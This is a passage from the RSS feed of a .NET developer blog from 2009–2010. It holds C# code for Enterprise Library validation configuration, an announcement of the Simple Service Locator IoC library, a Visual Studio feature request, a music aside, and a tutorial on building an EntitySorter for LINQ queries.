MergeInto(ValidatorData target)<br />    {<br />        string parentsInformation =<br />            this.GetValidatorParentsInformation();<br /><br />        throw new ConfigurationErrorsException(String.Format(<br />            CultureInfo.InvariantCulture,<br />            &quot;The configuration file {0} contains a {1} &quot; +<br />            &quot;with name '{2}' that already is defined in &quot; +<br />            &quot;configuration {3}. {4}&quot;,<br />            this.settings.ElementInformation.Source,<br />            target.Type.Name, target.Name,<br />            target.ElementInformation.Source,<br />            parentsInformation));<br />    }<br /><br />    private string GetValidatorParentsInformation()<br />    {<br />        var parentsDescription =<br />            from parent in this.GetParents()<br />            select string.Format(CultureInfo.InvariantCulture,<br />            &quot;{0} '{1}'&quot;, parent.TypeName, parent.Name);<br /><br />        return string.Format(CultureInfo.InvariantCulture,<br />            &quot;The validator is defined in {0}.&quot;,<br />            string.Join(&quot;, &quot;, parentsDescription.ToArray()));<br />    }<br /><br />    private IEnumerable&lt;IMerger&gt; GetParents()<br />    {<br />        var parent = this.parent;<br /><br />        while (parent != null)<br />        {<br />            yield return parent;<br />            parent = parent.Parent;<br />        }<br />    }<br /><br />    private ValidatorMerger CreateValidatorMerger()<br />    {<br />        return new ValidatorMerger(this.settings, this.parent);<br />    }<br />}<br /><br />internal static class Copier<br />{<br />    public static ValidationSettings MakeCopy(<br />        ValidationSettings source)<br />    {<br />        var copy = new ValidationSettings();<br /><br />        foreach (var sourceType in source.Types)<br />        {<br />            copy.Types.Add(Copier.MakeCopy(sourceType));<br />        }<br /><br />        return copy;<br />    }<br /><br />    public static ValidatedTypeReference MakeCopy(<br />        ValidatedTypeReference source)<br />    {<br />        var target = new ValidatedTypeReference()<br />        {<br />            AssemblyName = source.AssemblyName,<br />            DefaultRuleset = source.DefaultRuleset,<br />            Name = source.Name,<br />        };<br />        <br />        foreach (var sourceRuleset in source.Rulesets)<br />        {<br />            target.Rulesets.Add(Copier.MakeCopy(sourceRuleset));<br />        }<br /><br />        return target;<br />    }<br /><br />    public static ValidationRulesetData MakeCopy(<br />        ValidationRulesetData source)<br />    {<br />        var target = new ValidationRulesetData(source.Name);<br /><br />        Copier.CopyCollection(source.Fields, target.Fields);<br />        Copier.CopyCollection(source.Methods, target.Methods);<br />        Copier.CopyCollection(source.Properties, target.Properties);<br />        Copier.CopyValidators(source.Validators, target.Validators);<br /><br />        return target;<br />    }<br /><br />    public static TMember MakeCopy&lt;TMember&gt;(TMember sourceMember)<br />        where TMember : ValidatedMemberReference, new()<br />    {<br />        var target = new TMember();<br /><br />        target.Name = sourceMember.Name;<br /><br />        foreach (var sourceValidator in sourceMember.Validators)<br />        {<br />            target.Validators.Add(Copier.MakeCopy(sourceValidator));<br />        }<br /><br />        return target;<br />    }<br /><br />    public static ValidatorData MakeCopy(ValidatorData source)<br />    {<br />        // A validator is considered readonly, <br />        // we can simply use the reference.<br />        return source;<br />    }<br /><br />    private static void CopyCollection&lt;TMember&gt;(<br />        NamedElementCollection&lt;TMember&gt; sourceCollection,<br />        NamedElementCollection&lt;TMember&gt; targetCollection)<br />        where TMember : ValidatedMemberReference, new()<br />    {<br />        foreach (var sourceElement in sourceCollection)<br />        {<br />            targetCollection.Add(Copier.MakeCopy(sourceElement));<br />        }<br />    }<br /><br />    private static void CopyValidators(<br />        ValidatorDataCollection sourceValidators,<br />        ValidatorDataCollection targetValidators)<br />    {<br />        foreach (var sourceValidator in sourceValidators)<br />        {<br />            targetValidators.Add(Copier.MakeCopy(sourceValidator));<br />        }<br />    }<br />}<br /></pre> ]]></description>
			<guid isPermaLink="false">72@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Enterprise Library, Validation Application Block</category>
			<pubDate>Fri, 05 Mar 2010 12:05:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Printer Jam</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=71</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=71#comm</comments>
                        <description><![CDATA[ The last couple of days I've been having a Printer Jam on my way to work.<p>Okay, this is totally unrelated to technology; I've bought <a rel="external" href="http://shop.hospitalrecords.com/product/nhs148/" title="Mistabishi - Drop">this fantastic Drum &amp; Bass album</a> recently and play it when cycling to work in the morning. One of the tracks on this CD is called Printer Jam (see fantastic video <a rel="external" href="http://www.youtube.com/watch?v=is-HVxmUELQ" title="YouTube - Mistabishi - Printer Jam">here</a> on YourTube).</p><p>The track saves me from using caffeine to get running in the morning.<br /><br />Two thumbs up for <a rel="external" href="http://www.hospitalrecords.com/artists/mistabishi/" title="Mistabishi">Drum &amp; Bass DJ Mistabishi</a>.</p> ]]></description>
			<guid isPermaLink="false">71@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>Miscellaneous</category>
			<pubDate>Fri, 19 Feb 2010 11:07:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Simple Service Locator - The easiest Inversion of Control framework in town</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=70</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=70#comm</comments>
                        <description><![CDATA[ The Simple Service Locator is an easy-to-use Inversion of Control library that is a complete implementation of the Common Service Locator interface. It solely supports code-based configuration and is an ideal starting point for developers unfamiliar with larger IoC / DI libraries<p style="border: 2px solid #00cc00; padding: 4px; background-color: #eeffee"><strong>Download:</strong> The Simple Service Locator library and source code can be downloaded from <a rel="external external" href="http://codeplex.com" target="_blank" title="CodePlex - Open Source Project Community">CodePlex.com</a>. Visit the homepage at <a rel="external external" href="http://simpleservicelocator.codeplex.com" target="_blank" title="Simple Service Locator - truly simple dependency injection">simpleservicelocator.codeplex.com</a> or go directly to the <a rel="external external" href="http://simpleservicelocator.codeplex.com/Release/ProjectReleases.aspx" target="_blank" title="Simple Service Locator - Downloads">Downloads</a> tab.</p> <p><img src="http://www.cuttingedge.it/blogs/steven/images/di.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="Injection of uuhhm.. dependencies" alt="Injection of uuhhm.. dependencies" class="pivot-image" />Many development teams I help have legacy code bases with little or no unit tests. As you can imagine, the complexity makes it hard to add new features and fix existing bugs. Changing the course is often not easy, because the developers need to learn a whole new back of tricks. One of those tricks is unit testing and to me inextricably connected with that is <a rel="external" href="http://en.wikipedia.org/wiki/Dependency_injection" title="Wikipedia - Dependency injection">dependency injection</a>.</p><p>To get teams on the road quickly I often want to do the simplest thing that could possibly work. For that reason I've been annoyed with the complexity of the <a rel="external" href="http://www.hanselman.com/blog/ListOfNETDependencyInjectionContainersIOC.aspx" title="Scott Hanselman - List of .NET Dependency Injection Containers (IOC)">popular inversion of control frameworks</a>. The concepts of <a rel="external" href="http://en.wikipedia.org/wiki/Inversion_of_control" title="Wikipedia - Inversion of control">inversion of control</a> (IoC), dependency injection and good <a rel="external" href="http://weblogs.asp.net/rosherove/archive/2009/12/31/rtm-ready-tests.aspx" title="readable, maintainable and trust-worthy unit tests">RTM unit tests</a> are by itself hard enough to gasp for many developers. Learning to work with and configure several different frameworks (such as logging, validation, O/RM, and dependency injection) at the same time makes it even harder.</p><p>For this reason I started the <a rel="external" href="http://simpleservicelocator.codeplex.com/" title="Simple Service Locator - truly easy dependency injection">Simple Service Locator</a> project on <a rel="external" href="http://www.codeplex.com" title="Microsoft's CodePlex">CodePlex</a>. It&rsquo;s a (yet another) IoC library for .NET. Key features are its simplicity and it being an implementation of the <a rel="external" href="http://commonservicelocator.codeplex.com" title="Common Service Locator - an abstraction over IoC containers">Common Service Locator</a> interface. This makes it especially useful for development teams unfamiliar with one of the existing IoC frameworks. Development teams can start using the <em>Simple Service Locator</em> and replace it with a more feature-rich IoC framework later on when needed, without having to alter any production code. For the lifetime of many projects however, I expect the <em>Simple Service Locator</em> just to be sufficient.</p><p><em>Simple Service Locator</em> is an implementation of the <em>Common Service Locator</em> (CSL) interface and is not meant to be used without it. Therefore production code should only call CSL's <span class="type">ServiceLocator</span> facade, as is shown in the following example:</p><pre class="cs" language="csharp" customtypes="IWeapon ServiceLocator" customvaluetypes="PutYourCustomValueTypesHere">IWeapon weapon = ServiceLocator.Current.GetInstance&lt;IWeapon&gt;();</pre><p>Configuring the <em>Simple Service Locator</em> is done in the startup path of the application, as can be seen below. In this example you see how the <em>Simple Service Locator</em> is configured in the Application_Start event of the global.asax of a ASP.NET web application.</p><pre class="cs" language="csharp" customtypes="Global HttpApplication SimpleServiceLocator Warrior IWeapon Katana ServiceLocator" customvaluetypes="PutYourCustomValueTypesHere">using System;<br />using CuttingEdge.ServiceLocation;<br />using Microsoft.Practices.ServiceLocation;<br /><br />public class Global : System.Web.HttpApplication<br />{<br />    protected void Application_Start(object sender, EventArgs e)<br />    {<br />        // 1. Create a new Simple Service Locator container<br />        var container = new SimpleServiceLocator();<br /><br />        // 2. Configure the container<br /><br />        // Register a delegate that will create a new<br />        // instance on each call to GetInstance&lt;Warrior&gt;.<br />        container.Register&lt;Warrior&gt;(() =&gt;<br />            {<br />                var weapon = container.GetInstance&lt;IWeapon&gt;();<br />                return new Samurai(weapon);<br />            });<br /><br />        // Register a single object instance that always<br />        // be returned (must be thread-safe).<br />        container.RegisterSingle&lt;IWeapon&gt;(new Katana());<br /><br />        // 3. Register the container to the Common Locator<br />        ServiceLocator.SetLocatorProvider(() =&gt; container);<br />    }<br />}</pre><p>Please visit the <a rel="external" href="http://simpleservicelocator.codeplex.com/" title="Simple Service Locator - truly simple dependency injection">Simple Service Locator home page</a> to see more code examples.</p><p>The project is currently in beta, which means your feedback is very welcome. What do you think of the current API? Can we make it even simpler? Do you miss anything? I like to know.</p><p>Cheers.</p> ]]></description>
			<guid isPermaLink="false">70@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Dependency injection, Simple Service Locator</category>
			<pubDate>Wed, 06 Jan 2010 17:35:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>CuttingEdge.Conditions in MSDN Magazine Toolbox column</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=68</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=68#comm</comments>
                        <description><![CDATA[ In the <a rel="external" href="http://msdn.microsoft.com/en-us/magazine/ee335714.aspx" title="MSDN Magazine - November 2009 - Database Documentation, API for Pre- and Post-Conditions, Blogs and More">November 2009 issue</a> of his MSDN Magazine Toolbox column, <a rel="external" href="http://scottonwriting.net" title="Scott on Writing">Scott Mitchell</a> writes about <a rel="external" href="http://conditions.codeplex.com/" title="CuttingEdge.Conditions @ CodePlex">CuttingEdge.Conditions</a>.<img src="http://www.cuttingedge.it/blogs/steven/images/msdn.jpg" style="float:left;margin-right:10px;margin-bottom:5px;border:0px solid" title="" alt="" class="pivot-image" /><img src="http://www.cuttingedge.it/blogs/steven/images/conditions.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="" alt="" class="pivot-image" />Of course I think this is great news. <a rel="external" href="http://msdn.microsoft.com/en-us/magazine/default.aspx" title="MSDN Magazine">MSDN Magazine</a> has a large audience and I hope this increases the interest in my library, because this can lead to an larger user community and an increase of the amount of feedback on Conditions which will further increase the quality of it.<br /><br />While I am very pleased with this advertisement, I regret the fact that Scott uses the old extension method syntax in his Toolbox column. A syntax where the <span class="code">Requires()</span> method is written as extension method (such as '<span class="code">a.Requires()</span>') isn't supported anymore (for reasons I explained <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=57" title=".NET Junkie - Controversial change in CuttingEdge.Conditions">here</a>).<br /><br />While <a rel="external" href="http://scottonwriting.net/sowblog/posts/14022.aspx" title="Scott on Writing - November's Toolbox Column Now Online">promoting his Toolbox column</a> on his weblog on the other hand, Scott uses the supported syntax. That gives me the impression that he wrote the text for his Toolbox column some time ago.<br /><br />Nevertheless I&rsquo;m very pleased with Scott&rsquo;s review! ]]></description>
			<guid isPermaLink="false">68@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>CuttingEdge.Conditions</category>
			<pubDate>Tue, 10 Nov 2009 22:14:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Vote for Visual Studio Text Editor Guidelines to Return</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=67</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=67#comm</comments>
                        <description><![CDATA[ <p>Visual Studio 2005 and 2008 contain a (not officially supported) feature that allows display of vertical guidelines in the (code) text editor. Visual Studio 2010 however, seems to completely miss this feature. I created a feature request on Microsoft Connect. Please help and vote for this feature to return.</p><p>In Visual Studio 2005 and 2008 this feature is quite a hack actually, because a manual tweak in the Windows registry is needed. <a rel="external" href="http://blogs.msdn.com/saraford/default.aspx" title="Sara Ford's Weblog">Sara Ford</a> writes in <a rel="external" href="http://blogs.msdn.com/saraford/archive/2004/05/05/257953.aspx" title="Sara Ford's Weblog - Guidelines &ndash; a hidden feature for the Visual Studio Editor ">a hidden feature for the Visual Studio Editor</a> about how to configure this.</p><p style="text-align:center;"><img src="http://www.cuttingedge.it/blogs/steven/images/guidelines.jpg" style="border:0px solid" title="" alt="" class="pivot-image" /></p> I use this feature extensively to check to see whether I write my code conform the coding guidelines of the projects I participate in. Most of those projects define a rule that describes how long a line of code may be.</p><p>According to the following <a rel="external" href="https://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=484758" title="Microsoft Connect - Guidelines setting for Text Editor is missing in Visual Studio 2010">bug report</a> the feature is removed from Visual Studio 2010. Not only do I want this feature back, I like to see it supported and improved! </p><p>The thing is that VS 2005 and 2008 don't allow the guidelines to be specified on a per C# project basis. This is a problem when a single developer is working on multiple projects (with different line length rules) on a single machine.</p><p><strong>For this reason I opened the following feature request on the Microsoft Connect site: <a rel="external" href="https://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=507891" title="Microsoft Connect - Allow texteditor guidelines to be specified in project settings">Allow text editor guidelines to be specified in project settings</a>.</strong></p><p>Please help to get this feature back in Visual Studio 2010 and get it improved by voting on this feature request. </p><p>Thanks.</p> ]]></description>
			<guid isPermaLink="false">67@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>Visual Studio</category>
			<pubDate>Tue, 03 Nov 2009 17:42:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Sorting entities with the EntitySorter</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=66</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=66#comm</comments>
                        <description><![CDATA[ This article describes the EntitySorter&lt;T&gt; class. It's a nifty little thing that allows the presentation layer to instruct the service layer how collections should be returned.<p>About a year ago I was, just like everybody else, trying to figure out how to fit Entity Framework and LINQ to SQL into architectural perspective. Especially within the context of ASP.NET applications. One of the things I figured out pretty quickly was the following: The LINQ to SQL <span class="type">DataContext</span> and Entity Framework <span class="type">ObjectContext</span> classes should not outlive a call to the service layer. There are several opinions about this, but for me this rule is very important. The presentation layer shouldn't know anything about connections and transactions. Next to that, the service layer should have full control over how and when there is communication with the database. Leaking the context classes out of the service layer is an architectural smell.</p><p>Consequence of this architectural rule is that the service layer should not return objects that implement <span class="type">IQueryable</span>. Neither should you return entities with lazy loading capacities, because this would allow the presentation layer to make extra calls to the database, without the service layer knowing this (and it needs for the context to stay alive).</p><p>The approach I take is rather radical. I make sure that <span class="type">DataContext</span> and <span class="type">ObjectContext</span> classes are disposed by the layer that creates them (as you should do with all <span class="type">IDisposable</span> objects) and return <a rel="external" href="http://martinfowler.com/eaaCatalog/dataTransferObject.html" title="Martin Fowler - Data Transfer Object">Data Transfer Objects</a> often.</p><p>This subject deserves a whole post on it's own, but this architectural rule has some consequences on your design. When you're not allowed to return <span class="type">IQueryable</span> objects from the service layer, you are faced with some challenges. One of those challenges is sorting.</p><p>Many user interfaces allow the user to sort results. While the presentation layer can sort a collection that's returned from the service layer, this could cause a severe performance problem, when working with paged result sets.</p><p>To solve this problem, the presentation layer should be able to instruct the service layer how to sort a requested set of results. A nice way to achieve this is by using a construct that's similar to <a rel="external" href="http://martinfowler.com/eaaCatalog/queryObject.html" title="Martin Fowler - Query Object">Fowler's Query Object</a>.</p><p>To achieve this, let's define an interface that allows sorting of collections:</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices" customvaluetypes="SortDirection">public interface IEntitySorter&lt;TEntity&gt;<br />{<br />&nbsp;&nbsp;&nbsp; IOrderedQueryable&lt;TEntity&gt; Sort(IQueryable&lt;TEntity&gt; collection);<br />}</pre><p>Implementations of this interface can be supplied by the presentation layer to methods in the service layer to allow sorting. Below is an example of the use of this 'sort object' in the service layer:</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices" customvaluetypes="SortDirection">public static Person[] GetAllPersons(IEntitySorter&lt;Person&gt; sorter)<br />{<br />    Condition.Requires(sorter, &quot;sorter&quot;).IsNotNull();<br /><br />    using (var db = ContextFactory.CreateContext())<br />    {<br />        IOrderedQueryable&lt;Person&gt; sortedList =<br />            sorter.Sort(db.Persons);<br /><br />        return sortedList.ToArray();<br />    }<br />}</pre><p>Note that this interface processes an <span class="type">IQueryable</span> and returns an <span class="type">IOrderedQueryable</span>. Because <span class="type">IQueryable</span> uses expression trees, frameworks like LINQ to SQL and Entity Framework can parse it. This allows sorting to be executed in the database. The place where this is (usually) done best.</p><p>Now let's think about how the presentation layer code should look. This layer shouldn't have to define new implementations of this interface for each and every call to the service layer. We want to have some sort of facade that allows us to create new instances easily. I'm thinking about code like this:</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices" customvaluetypes="SortDirection">var sorter = EntitySorter&lt;Person&gt;.OrderBy(p =&gt; p.Id);<br />var persons = PersonServices.GetAllPersons(sorter);</pre><p>And I'd like to be able to sort in descending order:</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices" customvaluetypes="SortDirection">var sorter = EntitySorter&lt;Person&gt;.OrderByDescending(p =&gt; p.Id); <br /></pre><p>And I'd like to be able to sort on multiple things, like this:</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices" customvaluetypes="SortDirection">var sorter = EntitySorter&lt;Person&gt;<br />&nbsp;&nbsp;&nbsp; .OrderBy(p =&gt; p.Name)<br />&nbsp;&nbsp;&nbsp; .ThenBy(p =&gt; p.Id);</pre><p>And it should be easy to create a new instance, based on the name of a property, simply because much of ASP.NET's infrastructure is based on strings. Controls like GridView supply string based property names. Therefore, the API should allow the following syntax:</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices" customvaluetypes="SortDirection">var sorter = EntitySorter&lt;Person&gt;.OrderBy(&quot;Name&quot;);</pre><p>And it must be possible to sort on properties in related objects, like this:</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices" customvaluetypes="SortDirection">var sorter1 = EntitySorter&lt;Person&gt;.OrderBy(p =&gt; p.Address.City);<br />var sorter2 = EntitySorter&lt;Person&gt;.OrderBy(&quot;Address.City&quot;);</pre><p>And while we're add it, it would be cool if we could use LINQ syntax to define a new sorter:</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices" customvaluetypes="SortDirection">IEntitySorter&lt;Person&gt; sorter =<br />&nbsp;&nbsp;&nbsp; from person in EntitySorter&lt;Person&gt;.AsQueryable()<br />&nbsp;&nbsp;&nbsp; orderby person.Name descending, person.Id<br />&nbsp;&nbsp;&nbsp; select person;</pre><p>I think this is a nice API that would work. Now let's build it!</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices EmptyEntitySorter Expression OrderBySorter EntitySorterBuilder ThenBySorter" customvaluetypes="SortDirection">internal enum SortDirection<br />{<br />    Ascending,<br />    Descending<br />}<br /><br />public static class EntitySorter&lt;T&gt;<br />{<br />    public static IEntitySorter&lt;T&gt; AsQueryable()<br />    {<br />        return new EmptyEntitySorter();<br />    }<br /><br />    public static IEntitySorter&lt;T&gt; OrderBy&lt;TKey&gt;(<br />        Expression&lt;Func&lt;T, TKey&gt;&gt; keySelector)<br />    {<br />        return new OrderBySorter&lt;T, TKey&gt;(keySelector,<br />            SortDirection.Ascending);<br />    }<br /><br />    public static IEntitySorter&lt;T&gt; OrderByDescending&lt;TKey&gt;(<br />        Expression&lt;Func&lt;T, TKey&gt;&gt; keySelector)<br />    {<br />        return new OrderBySorter&lt;T, TKey&gt;(keySelector,<br />            SortDirection.Descending);<br />    }<br /><br />    public static IEntitySorter&lt;T&gt; OrderBy(string propertyName)<br />    {<br />        var builder = new EntitySorterBuilder&lt;T&gt;(propertyName);<br /><br />        builder.Direction = SortDirection.Ascending;<br /><br />        return builder.BuildOrderByEntitySorter();<br />    }<br /><br />    public static IEntitySorter&lt;T&gt; OrderByDescending(<br />        string propertyName)<br />    {<br />        var builder = new EntitySorterBuilder&lt;T&gt;(propertyName);<br /><br />        builder.Direction = SortDirection.Descending;<br /><br />        return builder.BuildOrderByEntitySorter();<br />    }<br /><br />    private sealed class EmptyEntitySorter : IEntitySorter&lt;T&gt;<br />    {<br />        public IOrderedQueryable&lt;T&gt; Sort(<br />            IQueryable&lt;T&gt; collection)<br />        {<br />            string exceptionMessage = &quot;OrderBy should be called.&quot;;<br /><br />            throw new InvalidOperationException(exceptionMessage);<br />        }<br />    }<br />}</pre><p>The snippet above shows the implementation of the <span class="type">EntitySorter</span><span class="code">&lt;T&gt;</span> facade. As you might have noticed, the class only defines the <span class="code">OrderBy</span> and <span class="code">OrderByDescending</span> methods. <span class="code">ThenBy</span> and <span class="code">ThenByDescending</span> aren't specified here. It makes sense when you think about this, because you always chain the <span class="code">ThenBy</span> call after an <span class="code">OrderBy</span> call, thus <span class="code">ThenBy</span> should be implemented as instance method, or as we'll see shortly, as extension method.</p><p>The next snippet shows the extension methods:</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices Expression" customvaluetypes="SortDirection">public static class EntitySorterExtensions<br />{<br />    public static IEntitySorter&lt;T&gt; OrderBy&lt;T, TKey&gt;(<br />        this IEntitySorter&lt;T&gt; sorter,<br />        Expression&lt;Func&lt;T, TKey&gt;&gt; keySelector)<br />    {<br />        return EntitySorter&lt;T&gt;.OrderBy(keySelector);<br />    }<br /><br />    public static IEntitySorter&lt;T&gt; OrderByDescending&lt;T, TKey&gt;(<br />        this IEntitySorter&lt;T&gt; sorter,<br />        Expression&lt;Func&lt;T, TKey&gt;&gt; keySelector)<br />    {<br />        return EntitySorter&lt;T&gt;.OrderByDescending(keySelector);<br />    }<br /><br />    public static IEntitySorter&lt;T&gt; ThenBy&lt;T, TKey&gt;(<br />        this IEntitySorter&lt;T&gt; sorter,<br />        Expression&lt;Func&lt;T, TKey&gt;&gt; keySelector)<br />    {<br />        return new ThenBySorter&lt;T, TKey&gt;(sorter,<br />            keySelector, SortDirection.Ascending);<br />    }<br /><br />    public static IEntitySorter&lt;T&gt; ThenByDescending&lt;T, TKey&gt;(<br />        this IEntitySorter&lt;T&gt; sorter,<br />        Expression&lt;Func&lt;T, TKey&gt;&gt; keySelector)<br />    {<br />        return new ThenBySorter&lt;T, TKey&gt;(sorter,<br />            keySelector, SortDirection.Descending);<br />    }<br /><br />    public static IEntitySorter&lt;T&gt; ThenBy&lt;T&gt;(<br />        this IEntitySorter&lt;T&gt; sorter, string propertyName)<br />    {<br />        var builder = new EntitySorterBuilder&lt;T&gt;(propertyName);<br /><br />        builder.Direction = SortDirection.Ascending;<br /><br />        return builder.BuildThenByEntitySorter(sorter);<br />    }<br /><br />    public static IEntitySorter&lt;T&gt; ThenByDescending&lt;T&gt;(<br />        this IEntitySorter&lt;T&gt; sorter, string propertyName)<br />    {<br />        var builder = new EntitySorterBuilder&lt;T&gt;(propertyName);<br /><br />        builder.Direction = SortDirection.Descending;<br /><br />        return builder.BuildThenByEntitySorter(sorter);<br />    }<br />}</pre><p>Again no rocket science. Some things to note is that also the <span class="code">OrderBy</span> and <span class="code">OrderByDescending</span> (that we saw in the <span class="type">EntitySorter</span><span class="code">&lt;T&gt;</span> class) are defined here. Specifying them as extension methods allows us to write LINQ queries. You can see that the implementation simply calls back to the <span class="type">EntitySorter</span><span class="code">&lt;T&gt;.OrderBy</span> method.</p><p>The classes returned from these methods are internal implementations named <span class="type">OrderBySorter</span><span class="code">&lt;T, TKey&gt;</span> and <span class="type">ThenBySorter</span><span class="code">&lt;T, TKey&gt;</span>. The implementations are rather straightforward. On creation, a key selector (a lambda) and a sorting direction are supplied. Their <span class="code">Sort</span> method transforms the supplied collection to a ordered collection. Here are the implementations:</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices OrderBySorter ThenBySorter Expression Queryable" customvaluetypes="SortDirection">internal class OrderBySorter&lt;T, TKey&gt; : IEntitySorter&lt;T&gt;<br />{<br />    private readonly Expression&lt;Func&lt;T, TKey&gt;&gt; keySelector;<br />    private readonly SortDirection direction;<br /><br />    public OrderBySorter(Expression&lt;Func&lt;T, TKey&gt;&gt; selector,<br />        SortDirection direction)<br />    {<br />        this.keySelector = selector;<br />        this.direction = direction;<br />    }<br /><br />    public IOrderedQueryable&lt;T&gt; Sort(IQueryable&lt;T&gt; col)<br />    {<br />        if (this.direction == SortDirection.Ascending)<br />        {<br />            return Queryable.OrderBy(col, this.keySelector);<br />        }<br />        else<br />        {<br />            return Queryable.OrderByDescending(col,<br />                this.keySelector);<br />        }<br />    }<br />}<br /><br />internal sealed class ThenBySorter&lt;T, TKey&gt; : IEntitySorter&lt;T&gt;<br />{<br />    private readonly IEntitySorter&lt;T&gt; baseSorter;<br />    private readonly Expression&lt;Func&lt;T, TKey&gt;&gt; keySelector;<br />    private readonly SortDirection direction;<br /><br />    public ThenBySorter(IEntitySorter&lt;T&gt; baseSorter,<br />        Expression&lt;Func&lt;T, TKey&gt;&gt; selector, SortDirection direction)<br />    {<br />        this.baseSorter = baseSorter;<br />        this.keySelector = selector;<br />        this.direction = direction;<br />    }<br /><br />    public IOrderedQueryable&lt;T&gt; Sort(IQueryable&lt;T&gt; col)<br />    {<br />        var sorted = this.baseSorter.Sort(col);<br /><br />        if (this.direction == SortDirection.Ascending)<br />        {<br />            return Queryable.ThenBy(sorted, this.keySelector);<br />        }<br />        else<br />        {<br />            return Queryable.ThenByDescending(sorted,<br />                this.keySelector);<br />        }<br />    }<br />}</pre><p>As you can see the two classes simply use the .NET framework's <span class="type">Queryable</span> class to sort the supplied collection. It couldn't be easier.</p><p>Until now, the code was pretty straightforward. However, the API allows sorting based on the name of the property. I extracted this complicated logic to another class: the <span class="type">EntitySorterBuilder</span><span class="code">&lt;T&gt;</span>. As seen above, the usage of the <span class="type">EntitySorterBuilder</span><span class="code">&lt;T&gt;</span> is used as follows:</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices EntitySorterBuilder" customvaluetypes="SortDirection">var builder = new EntitySorterBuilder&lt;T&gt;(propertyName);<br /><br />builder.Direction = SortDirection.Descending;<br /><br />IEntitySorter&lt;T&gt; sorter = builder.BuildOrderByEntitySorter();</pre>  <p>The builder creates <span class="type">OrderBySorter</span><span class="code">&lt;T, TKey&gt;</span> and <span class="type">ThenBySorter</span><span class="code">&lt;T, TKey&gt;</span> implementations, using some heavy reflection. Here's the code:</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices EmptyEntitySorter Expression OrderBySorter EntitySorterBuilder ThenBySorter LambdaExpression MethodInfo ILambdaBuilder LambdaBuilder PropertyInfo ParameterExpression Expression" customvaluetypes="SortDirection BindingFlags">internal class EntitySorterBuilder&lt;T&gt;<br />{<br />    private readonly Type keyType;<br />    private readonly LambdaExpression keySelector;<br /><br />    public EntitySorterBuilder(string propertyName)<br />    {<br />        List&lt;MethodInfo&gt; propertyAccessors =<br />            GetPropertyAccessors(propertyName);<br /><br />        this.keyType = propertyAccessors.Last().ReturnType;<br /><br />        ILambdaBuilder builder = CreateLambdaBuilder(keyType);<br /><br />        this.keySelector =<br />            builder.BuildLambda(propertyAccessors);<br />    }<br /><br />    private interface ILambdaBuilder<br />    {<br />        LambdaExpression BuildLambda(<br />            IEnumerable&lt;MethodInfo&gt; propertyAccessors);<br />    }<br /><br />    public SortDirection Direction { get; set; }<br /><br />    public IEntitySorter&lt;T&gt; BuildOrderByEntitySorter()<br />    {<br />        Type[] typeArgs = new[] { typeof(T), this.keyType };<br /><br />        Type sortType =<br />            typeof(OrderBySorter&lt;,&gt;).MakeGenericType(typeArgs);<br /><br />        return (IEntitySorter&lt;T&gt;)Activator.CreateInstance(sortType,<br />            this.keySelector, this.Direction);<br />    }<br /><br />    public IEntitySorter&lt;T&gt; BuildThenByEntitySorter(<br />        IEntitySorter&lt;T&gt; baseSorter)<br />    {<br />        Type[] typeArgs = new[] { typeof(T), this.keyType };<br /><br />        Type sortType =<br />            typeof(ThenBySorter&lt;,&gt;).MakeGenericType(typeArgs);<br /><br />        return (IEntitySorter&lt;T&gt;)Activator.CreateInstance(sortType,<br />            baseSorter, this.keySelector, this.Direction);<br />    }<br /><br />    private static ILambdaBuilder CreateLambdaBuilder(Type keyType)<br />    {<br />        Type[] typeArgs = new[] { typeof(T), keyType };<br /><br />        Type builderType =<br />            